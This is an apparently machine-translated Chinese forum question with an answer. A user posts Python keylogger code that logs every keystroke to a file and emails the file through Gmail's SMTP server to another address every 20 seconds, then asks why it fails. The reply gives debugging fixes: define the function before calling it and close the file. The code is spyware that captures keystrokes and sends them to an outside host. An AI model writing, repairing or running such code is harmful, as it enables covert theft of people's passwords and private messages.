为什么Python键盘记录程序不能正常工作



我想创建一个键盘记录程序,每隔x秒将文件发送到邮件。

import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput.keyboard import Key, Listener
import logging
log_dir = ''
logging.basicConfig(filename=(log_dir + "Document.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
logging.info(str(key))

with Listener(on_press=on_press) as Listener:
Listener.join()

mail_send()

def mail_send():
email_user = 'my mail'
email_password = 'my pass'
email_send = 'another mail'
subject = 'subject'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Hi there, sending some stuff!'
msg.attach(MIMEText(body, 'plain'))
filename = 'Document.txt'
attachment = open(filename, 'rb')
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)
server.sendmail(email_user, email_send, text)
server.quit()
time.sleep(20)
mail_send()

在我添加"keylogging部分"之前,代码运行良好它可能不起作用,因为该文件正在由键盘记录程序编辑,所以我想知道如何修复它。(我的eng不好sry(感谢任何提示

您收到的错误消息是什么(如果有的话(?

从你给出的代码中,我可以看到两个问题。

首先,在定义mail_send()之前,您已经调用了它,其次,当您通过open()打开文件时,您没有关闭它。您应该查找上下文管理器,以便不必处理关闭文件/注销等问题。

最新更新